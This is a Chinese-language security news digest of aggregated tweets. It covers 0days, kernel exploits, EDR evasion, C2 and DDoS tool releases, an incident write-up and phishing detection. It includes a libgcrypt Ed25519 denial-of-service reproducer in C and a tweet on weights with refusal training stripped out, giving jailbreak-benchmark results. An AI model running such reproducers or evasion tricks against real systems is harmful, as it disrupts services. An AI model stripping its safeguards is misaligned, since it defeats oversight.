Nvidia 用户态 DLL 0day，可跨用户边界提权至 SYSTEM。
Windows 提权 0day，PoC 已公开，影响面大。
RT @MSNightmare2000: Nvidia user mode dlls are a bit funny, here is a 0day that can be used to cross-user boundaries (maybe get SYSTEM ?) https://t.co/cg94oRclaf
Top3
Ubuntu 26.04 内核 SCTP UAF 漏洞 CVE-2026-68162，exp 已公开。
最新 Ubuntu 内核提权，exp 公开，影响面大。
RT @nebusecurity: Today's exploit is again for the latest Ubuntu 26.04, a UAF in SCTP: CVE-2026-68162. It was introduced in Jan 2025 and fixed upstream in Jul 2026. Discovered and exploited by the NebuSec security pipeline. Exp source code: https://t.co/vCpwTZR3Ql https://t.co/lUPlkcZHwM
SonicWall 2023 年修补的漏洞根因未修复，所有 CVE 仍可利用。
补丁无效，历史漏洞仍可利用，影响大量设备。
Unbelievable: In 2023 [...] SonicWall shipped patches [...]. We recently revisited those patches and found that none of the underlying root causes were fixed - every original CVE remained exploitable [...]
Must-see9
MSNightmare 发布新 Windows 0day HardBreacher，疑似 Kaspersky 提权。
Windows 0day 系列最新，PoC 公开，值得跟进分析。
0-day dropped. Another fresh Windows security release from @MSNightmare2000. RoguePlanet. GreatXML. LegacyHive. ShieldBreak. Now: HardBreacher. At this point, if you do Windows internals, vulnerability research, reverse engineering, red teaming or detection engineering, you probably want to stop scrolling and look at this one. https://t.co/UXkOhyhx27 #0day #WindowsSecurity #VulnerabilityResearch
Kaspersky 端点产品 0day 提权漏洞，PoC 已公开。
杀软自身漏洞，PoC 公开，影响大量企业端点。
RT @MSNightmare2000: Kaspersky 0day ? Anyone ? https://t.co/vWYLAS3kuT
Kaspersky 端点安全软件 0day 提权漏洞细节公开。
杀软提权 0day，影响面广，PoC 可能已公开。
Kaspersky Antivirus For Endpoint ZeroDay Elevation of Privileges Vulnerability
V8 Turboshaft WASM 漏洞 CVE-2026-7899 分析公开。
浏览器 RCE 漏洞，影响 Chrome，分析详细。
RT @nebusecurity: https://t.co/5PjKmQKQx9
Unitree G1 人形机器人存在可蠕虫化 BLE RCE 漏洞 UniBLEed。
人形机器人 RCE，可蠕虫传播，影响物理世界。
RT @Bin4ryDigit: My boy @olivier_boschko just published the awesome and massive research on @UnitreeRobotics named #UniBLEed. He and friends showed a novel way to exploit the Unitree G1 via BLE! AGAIN a wormable BLE hack on a Unitree G1, the same class of exploits as @d0tslash and my #UniPwn which was the first exploit on a Humanoid, also via BLE and wormable. But this blog article and reserach goes much deeper, read it now! https://t.co/ssvrxvQrJM
Unitree G1 人形机器人 BLE 可蠕虫化 RCE 漏洞 UniBLEed 发布。
人形机器人 RCE，可蠕虫传播，影响物理世界。
RT @olivier_boschko: I've published UniBLEed, a fully wormable proximity Bluetooth RCE affecting Unitree's G1 humanoids. Blog spans cloud, mobile, firmware, Bluetooth & hardware. Two multi-bug RCE chains. 3 months into ~80 minutes, $6,700 in bounties. Go jailbreak your G1s!! https://t.co/GYopBgDtTO
Hugging Face 多个扫描器漏检超 20% 恶意模型文件。
AI 供应链风险，静态扫描存在系统性缺陷。
RT @binarly_io: 🚨 Our research found that multiple major Hugging Face scanners missed more than 20% of malicious model files. We systematized the 21 static-scanner evasion techniques behind these misses. Most of these were based on known techniques or concepts, highlighting an inherent limitation of static pattern matching: it is practically infeasible to cover every concrete malicious variant. https://t.co/89q1FyHeqH
libgcrypt Ed25519 签名验证可被 DoS，攻击者可致进程崩溃。
加密库 DoS，影响依赖 libgcrypt 的应用。
RT @lukOlejnik: I reported this security bug to libgcrypt. The bug allowed an attacker to supply a degenerate/small-order Ed25519 public key that passes the initial curve check but triggers a fatal log_bug during signature verification, aborting the entire process. This enables a reliable denial-of-service against applications verifying attacker-controlled keys/signatures, without requiring a valid signature. I attach a reproducer: #include <gcrypt.h> static int triggerAbort(void) { static const unsigned char identity[32] = {0x01}; static const unsigned char zero[32] = {0}; static const unsigned char encodedKey[33] = {0x40, 0x01}; gcry_sexp_t publicKey; gcry_sexp_t message; gcry_sexp_t signature; gcry_check_version(NULL); gcry_sexp_build( &publicKey, NULL, "(public-key(ecc(curve Ed25519)(flags eddsa)(q %b)))", (int)sizeof(encodedKey), encodedKey); gcry_sexp_build( &message, NULL, "(data(flags eddsa)(hash-algo sha512)(value %b))", 0, identity); gcry_sexp_build( &signature, NULL, "(sig-val(eddsa(r %b)(s %b)))", 32, identity, 32, zero); return gcry_pk_verify(signature, message, publicKey); } int main(void) { return triggerAbort(); }
RT @nebusecurity: Today's exploit is again for the latest Ubuntu 26.04, a UAF in SCTP:...
Recommended15
Windows Hello 密钥可被恶意软件借用，实现 Entra ID 持久化。
绕过 phishing-resistant 认证，实现持久化，有检测 KQL。
RT @david_das_neves: Windows Hello is phishing-resistant — not theft-proof. Dirk-jan Mollema shows how malware in a live session borrows WHfB keys to mint PRTs & register FIDO2 devices for silent Entra ID persistence. Includes KQL to detect it. https://t.co/aaUr6cTT1Y #EntraID https://t.co/Hqc3VI3rFU
NtQueueApcThreadEx2 结合特殊 APC 标志可绕过安全软件监控。
EDR 绕过新技术，值得测试和关注。
Have you already tried combining NtQueueApcThreadEx2 with QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC? There are still a lot of security solutions that don’t monitor this combination https://t.co/i9lDCh8XEH
chisel v1.12.0 发布，支持反向端口转发和 SOCKS5 代理。
常用隧道工具更新，新增功能值得关注。
chisel v1.12.0 — Fast TCP/UDP tunnel over HTTP with SSH encryption, supporting reverse port forwarding, SOCKS5 proxy, and client authentication for... https://t.co/dxWd0Huu78 https://t.co/kUpToU0SDH
Osiris 工具可拉取 CCTV 摄像头、追踪飞机和船只。
开源情报工具，可监控关键基础设施。
RT @co11ateral: Osiris Osiris can pull CCTV camera feeds, track aircraft and vessels, show critical infrastructure across the country and much more The cool thing about it is that you don't have to install it, unless you want to Below you can see cameras (green) and all the infrastructure in NYC (red) and nationwide (yellow). More in our article: https://t.co/nt5ppKLZ6G
ipatool 新方法绕过 Apple 硬件认证，可导出解密 IPA。
iOS 应用逆向工具更新，绕过硬件认证。
RT @Xplo8E: Apple recently added hardware attestation, which broke ipatool. So I tried a different approach: a CLI + tweak that acts as an appstored client and uses the same methods as the App Store app to install apps and export decrypted IPAs. It uses the existing App Store session on the Jailbroken device. https://t.co/SfeetlRsY6
ipatool v2.4.0 修复 Apple 服务端变更导致的认证问题。
iOS 应用下载工具更新，修复认证问题。
RT @dev_majd: I just released ipatool v2.4.0. It fixes recent auth issues due to server-side changes introduced by Apple. It now makes signed SAP requests. If your company uses ipatool internally and would be willing to sponsor this project, please reach out. https://t.co/sX2EIeIURy
iOS/macOS 27 可在 QEMU 中启动，支持调试和修改内核。
iOS/macOS 逆向新工具，可调试内核和系统组件。
RT @0xjprx: I got the latest iOS and macOS 27 booting in Qemu (with SPTM!) - Virtual iPhone 17, 16, 15, 14, 13, 12 and every M1-M5 Mac supported - Debug, patch, or modify everything: kernel, SPTM, TXM, launchd, dyld, user programs all modifiable/ GDB-able - Boots directly to root shell in seconds - Run your own programs as root in iOS/ macOS, no jailbreak / kernel patches required - SPTM, TXM, MTE/MIE, genter/ gexit, GXF/SPRR/GL0-2, AMCC, AIC v1-3, Apple timer, many sysregs - Automated setup; get running in just a few minutes - Runs anywhere qemu runs... no ARM CPU required 😉 Try it here: https://t.co/PEydRXL25G
Ubuntu 服务器被植入挖矿木马，伪装成 system-update 服务。
真实入侵案例分析，可学习检测和响应。
We had an Ubuntu web server that suddenly started making outbound HTTPS connections late at night. Nothing was down. The website was still working normally. CPU and memory looked fine, so at first there was nothing serious to suggest the server had been compromised. I logged in and started checking the running services. One service caught my attention: system-update.service The name looked normal enough. On a Linux server, you can easily assume something like that belongs to the operating system. I checked the actual service file. Its ExecStart was pointing to: /usr/local/bin/.system-update That was where things stopped looking normal. It was a hidden executable inside /usr/local/bin, running as a systemd service and configured with: Restart=always Meaning if the process died, systemd would simply start it again. I checked the file. It was a stripped 64-bit ELF binary. Then I pulled the PID for the service and checked its network connections. The process had an established connection to an external IP over port 443. So now we had a suspicious binary, persistence through systemd and an active outbound connection. The next question was how it got there. I checked the timestamps. The service had been created around 6:43 PM the previous evening. Then I went through the authentication logs. This was the part that really caught my attention. A few seconds before the service was created, the www-data account had executed commands with sudo. www-data is normally the account used by the web server. It should not casually be copying executables into /usr/local/bin and enabling system services as root. The logs showed it copying the hidden binary from /tmp, reloading systemd and enabling the new service. At that point we isolated the server. We did not immediately conclude exactly how the attacker got control of www-data, because the evidence we had did not prove the initial entry point yet. It could have been the web application, a vulnerable plugin, bad sudo permissions or something else entirely. That became the next part of the investigation. But one thing was already clear: system-update.service was not a Linux update service. Someone had simply given it a boring name and hoped nobody would check what it actually executed. And to be fair, if we had only looked at the service name, we probably would have passed it. That is why when I see an unfamiliar Linux service now, I don’t stop at systemctl status. I want to see the unit file. I want to see the executable. I want to know who created it and what that process is talking to. Names can lie. The path usually tells you more.
maltrail v3.2 发布，实时恶意流量检测系统。
开源流量检测工具更新，可部署监控。
maltrail v3.2 — Real-time malicious traffic detection system using public blacklists, static malware trails, and heuristic analysis to identify... https://t.co/cvKKifrRvJ https://t.co/ADEg7P8MWE
sliver v1.7.6 发布，C2 框架更新。
常用 C2 框架更新，新功能值得关注。
sliver v1.7.6 — Adversary Emulation Framework https://t.co/CH9aBgCfQ0 https://t.co/4ljfnxa7Pm
Whispergate 发布 InfraGuard 重定向器，支持主流 C2。
红队基础设施工具，支持多种 C2 服务器。
Another amazing Red Team Tool from Whispergate made by Lavender, an awesome redirector with support for all major C2 servers and tons of features! Love using it on my engagements: https://t.co/2m9aHcj6QY
NovaCookies AiTM 钓鱼服务，可中继 M365 登录，已发布 KQL 和 IOC。
新型 AiTM 钓鱼，有检测规则和 IOC 可防御。
Hunting NovaCookies Campaign A new adversary-in-the-middle (AiTM) service relays Microsoft 365 sign-ins to capture authenticated sessions similar to Sneaky2FA. I have build a KQL along with companion IOC release from https://t.co/Iw2dnQiYi7 that documents 755 domains assessed as dedicated NovaCookies malicious infrastructure for sharing with fellow defenders. https://t.co/qYiJuL1KsW #Threathunt
systeminformer v4.0 发布，Windows 系统监控工具更新。
系统监控工具更新，新增功能值得关注。
systeminformer v4.0.26241.138 — Real-time Windows system monitor with advanced process, network, and disk analysis, stack trace debugging,... https://t.co/2JFdXZ2DZU https://t.co/9J6KHICq8E
MHDDoS v2.4.5 发布，支持 56 种 DDoS 攻击方法。
DDoS 工具更新，了解最新攻击手法。
MHDDoS v2.4.5 — Best DDoS Attack Script Python3, (Cyber / DDos) Attack With 56 Methods https://t.co/lgFQT9fEKn https://t.co/IhEHptVm5m
grype v0.118.0 发布，容器镜像漏洞扫描器。
容器安全工具更新，可扫描镜像漏洞。
grype v0.118.0 — A vulnerability scanner for container images and filesystems https://t.co/vn8O6yKBtb https://t.co/jxWsuJNw4B
More35
libheif AVIF 漏洞在 NextJS 上被利用为 RCE 的讨论。
影响 NextJS 应用，可能被远程利用。
RT @c3l3si4n: Has anyone managed to turn the libheif AVIF vulnerability into a controlled RCE on NextJS already? https://t.co/bzskEPyaBi
Windows usbprint.sys 漏洞，微软拒绝修复，PoC 已公开。
未修复的 Windows 驱动漏洞，PoC 公开。
RT @zeifan: Published my technical write-up on a vulnerability I discovered in Windows usbprint.sys. The issue was reported to MSRC, but Microsoft decided not to issue a fix. I’ve documented the technical details and PoC in the blog. Blog writeup: https://t.co/bzPraMVZ1j https://t.co/eokNwWViOc
基于 KVM 的 MCU 固件重托管技术论文公开。
固件分析新技术，可提高 MCU 逆向效率。
KVM-based Near Native MCU Firmware Rehosting (Usenix) https://t.co/K8jlHn0z20 #infosec https://t.co/Qfj3oKSxBs
OrcaRouter 发布 GLM-5.3-Flash 无审查权重，拒绝率大幅下降。
开源无审查 LLM，可能被用于恶意用途。
RT @OrcaRouter: GLM-5.3-Flash. Uncensored. Native FP8. 🐳 We just released OrcaRouter’s uncensored weights for GLM-5.3-Flash — 320B parameters / 18B active, directly at the original block-FP8 precision. No LoRA. No jailbreak prompt. Refusal removal is baked directly into the weights. The evals are particularly interesting: → MaliciousInstruct refusal: 96% → 11% → JailbreakBench: 93% → 12% → AdvBench: 97% → 15% → HarmBench: 93% → 18% → XSTest benign over-refusal: 2.4% → 0.4% But refusal does not go uniformly to zero. Our experiments suggest part of GLM-5.3-Flash's alignment is not mediated by a single linear refusal direction — meaning https://t.co/ZTlxmv47D9 may have built a substantially deeper refusal mechanism than we usually see. That makes this release interesting beyond uncensoring: it's a useful artifact for studying how frontier-model alignment is actually represented inside the network. Released for AI safety, interpretability, red/blue-team and refusal-mechanism research. Weights on Hugging Face: https://t.co/81h1YRh8C2 API (official weight): https://t.co/Hm9DiY3wAo GGUF, MLX and other quantized formats coming soon.
中国 APT 组织利用商业代理服务隐藏间谍流量。
真实 APT 案例分析，了解隐蔽通信手法。
New blog from our @zerotracelab. How chinese state group hid espionage traffic inside a paid commercial proxy subscription, why endpoint tooling never saw it, and how backbone visibility, careless registration and hard coded domains brought the operation down. Read them here:- https://t.co/gD4Yh9pxHd
浏览器漏洞利用面模型和 bug 叠加分析。
浏览器漏洞研究新视角，可辅助漏洞挖掘。
RT @zerodayalpha: Browser Exploit Surface model + bug overlay CVE callouts: randomly picked exploitable bug samples from historical records @alisaesage https://t.co/BABb2Mws3d https://t.co/xRtEVPAmos
MSNightmare 的 Project NightCrawler 博客，包含 Windows 0day 研究。
Windows 漏洞研究资源，值得关注。
And if you're wondering why @MSNightmare2000 keeps showing up in Windows security discussions... Project NightCrawler is the rabbit hole. Defender. BitLocker. Windows privilege escalation. PoCs. 0-days. Deep dives into Windows security boundaries. HardBreacher is just the latest drop. https://t.co/Fhz4LzlMHf Bookmark it before the next one lands. #WindowsSecurity #0day #VulnerabilityResearch
Pixel 7 Pro 隐藏拨号器秘密代码提取的逆向分析。
移动端逆向案例，可学习固件分析技巧。
RT @0xrootRE: Write-up of a recon session against a Pixel 7 Pro (cheetah, Android 14): extracting hidden dialer secret codes https://t.co/eWJXvfjHge https://t.co/TdRkKexhJd
Meta Quest 3 软件解锁，刷新率从 120hz 提升到 207hz。
硬件性能解锁案例，了解软件限制。
RT @lauriewired: Say what you will about Meta, but you have to admit the “software unlocks” over the lifetime of the Quest 3 have been ridiculous. How do you go from 120hz at launch to 207hz without hardware changes? Almost double the refresh rate. Clearly, the panel could do it, but I’m so curious about the lineage. It’s not just the display either, the GPU clocks are also ~25% higher than launch. Were the engineering teams just extremely conservative? Or was there just enough real-world headset data over time to realize “huh, we actually have a lot more headroom than we realized”. I’m really struggling to think of any other consumer product that gained that much of a bump over its life. Sure, I think the Nintendo Switch boost clocks got a *little* higher; but nothing like this. Can you think of any other consumer examples like this? I’m honestly very curious.
HackTheBox 每周 walkthrough 资源汇总。
学习资源，适合新手入门。
RT @cr3ghost: One of the most consistent free security education resources on the internet. Weekly HackTheBox walkthroughs for years. Every machine fully documented. Enumeration to root. Active Directory attack chains. Web exploitation. Container escapes. Kubernetes abuse. Windows and Linux privilege escalation. WiFi hacking. Cloud security. Reverse engineering. Malware analysis. Binary exploitation. Phishing. Real CVE exploitation. SANS Holiday Hack solutions. Every post includes a "Beyond Root" section that digs into why the vulnerability exists and how the machine works under the hood. That section alone teaches more about detection engineering than most courses because it shows you exactly what artifacts each attack leaves behind. If you are studying for OSCP, sharpening your RE and malware analysis skills, learning Linux pwn, or building detection rules, start here. https://t.co/iyWBlWa485 Author: @0xdf_ #OSCP #HackTheBox #InfoSec
HackTheBox BlockSynergy 机器通关。
HTB 通关分享，可学习解题思路。
I just solved BlockSynergy on Hack The Box! Season finished....... https://t.co/7bbQ1wgGZF #HackTheBox #HTB #CyberSecurity #EthicalHacking #InfoSec #PenTesting
Smukx.E 回复 daaximus 的推文。
无实质内容。
@daaximus https://t.co/jZMXmAHfaH
其他
source ↗
讨论向外部 AI 提供专有方法的担忧。
AI 数据安全讨论，值得思考。
I wonder how many people are feeding proprietary methods/ideas into off-premise AI... They have a checkbox for "Don't train on my input", but do we believe them?
Pixel 11 移除 MTE 支持的评论。
硬件安全特性讨论。
Rip Pixel 11 https://t.co/M2Y2IYfi4u
Google 移除 Pixel 11 的 MTE 软件和硬件支持。
硬件安全特性变化，影响移动端安全。
RT @canadianbryan: Apparently Google removed MTE (memory tagging) software (and potentially hardware) support from the Pixel 11 phones, after supporting it since the Pixel 8 (2023). https://t.co/BEZ9owQtVl
PEASS-ng 提权脚本更新。
常用提权工具更新。
PEASS-ng v20260829-c348cd6e — PEASS - Privilege Escalation Awesome Scripts SUITE (with colors) https://t.co/xptitOqcIN https://t.co/fxZ4vNIhfc
lovedarksoul 分享的链接。
内容未知，需点击查看。
RT @lovedarksoul: https://t.co/skH9hfToqU
其他
source ↗
漏洞研究直播会话预告。
可参与直播学习。
RT @oneandonlyhusam: LIVE VULNERABILITY RESEARCH VR SESSION ON OUR SERVER WITH @0xpwnie @Loserlarping @noth1ng_real @JuluisKStar https://t.co/jv7YLi3kMt
其他
source ↗
0xpwnie 的调侃推文。
无实质内容。
that one guy larping on the TL rn https://t.co/P43VwzQPnb
其他
source ↗
J3rge 添加新会话通知功能。
工具更新，无实质内容。
added a notf when a new session is open. https://t.co/KB4eMsUfvF
工具
source ↗
h0mbre_ 的庆祝推文。
无实质内容。
RT @h0mbre_: lfg! 🥳 https://t.co/yAubNJrjOM
其他
source ↗
调侃 AI 能力。
无实质内容。
RT @defeat_admitter: ai MUST be good if even liveoverflow can get calc
其他
source ↗
Android 17 引入 ECH，隐藏访问域名。
移动端隐私增强，值得了解。
RT @TheHackersNews: Android 17 can hide the sites you visit from network providers. Google is bringing ECH across the OS, obscuring destination domain names for supported sites and apps. Android 17 also adds local-network permission prompts and carrier-controlled 2G blocking. How the new privacy protections work: https://t.co/1ysHRqrgQv
_xpn_ 发布新 UTR 视频。
技术视频，可学习。
New UTR is out.... just after I finally got the last UTR 🫣 https://t.co/TcWJ4fyVmo
其他
source ↗
Alisa Esage 关于漏洞研究的哲学思考。
无实质内容。
If you think like me, you don't see "the bug that broke the system". You see: limitless possibilities, multi-dimensional structures, abstract patterns, recurrent archetypes, and trend lines striking from past into future, like a crack in the block universe. But can you still collapse the complexity into one concrete 0D instance that gets the bounty? Yes
其他
source ↗
0xTriboulet 的调侃推文。
无实质内容。
Should have just given them the crayons smh
其他
source ↗
Rasta Mouse 对新购 UniFi 设备的调侃。
无实质内容。
Just what you want to see 5 mins after ordering new UniFi gear :D
其他
source ↗
NovaCookies 查询链接。
威胁情报查询，需点击查看。
NovaCookies Query: https://t.co/4DomiARVmd{%22query%22:%22url:%5C%22PwPt-sHaRe%5C%22%22,%22dateRange%22:180}
NovaCookies URL 模式和关联域名。
威胁情报，可辅助检测。
NovaCookies URL patterning and associated domains: https://t.co/RVZjs9us8f
NetAskari 的推文。
无实质内容。
... message to the people from the party. https://t.co/A0UMLM4PG0
其他
source ↗
John Hammond 对 wispr flow 的疑问。
无实质内容。
wispr flow what the hell happened here https://t.co/QqXqEkdrF8
其他
source ↗
shadkz_ 分享黑客音乐播放列表。
无实质内容。
Really happy to share my playlist with you all, created to give you that extra boost of motivation and get you fired up during those latenight research, hacking, and pentesting sessions. 11K views.. 136hs! not bad at all. Thanks, everyone! 🔥 #music #youtube #playlist #hacking https://t.co/08SrU90OER
其他
source ↗
sanctiias 的调侃推文。
无实质内容。
RT @sanctiias: Old Password: Psyop New Password: Me ERROR: New Password Cant be the same as the old one https://t.co/qoucDES404
其他
source ↗
ni5arga 称有 100+ 严重漏洞报告等待提交。
无实质内容。
RT @ni5arga: i have 100+ critical security reports waiting to hit CERT-In's inbox. whoever's on shift today, godspeed. https://t.co/u5zoXNUvZG
其他
source ↗
RT @0xrootRE: Write-up of a recon session against a Pixel 7 Pro (cheetah, Android 14):...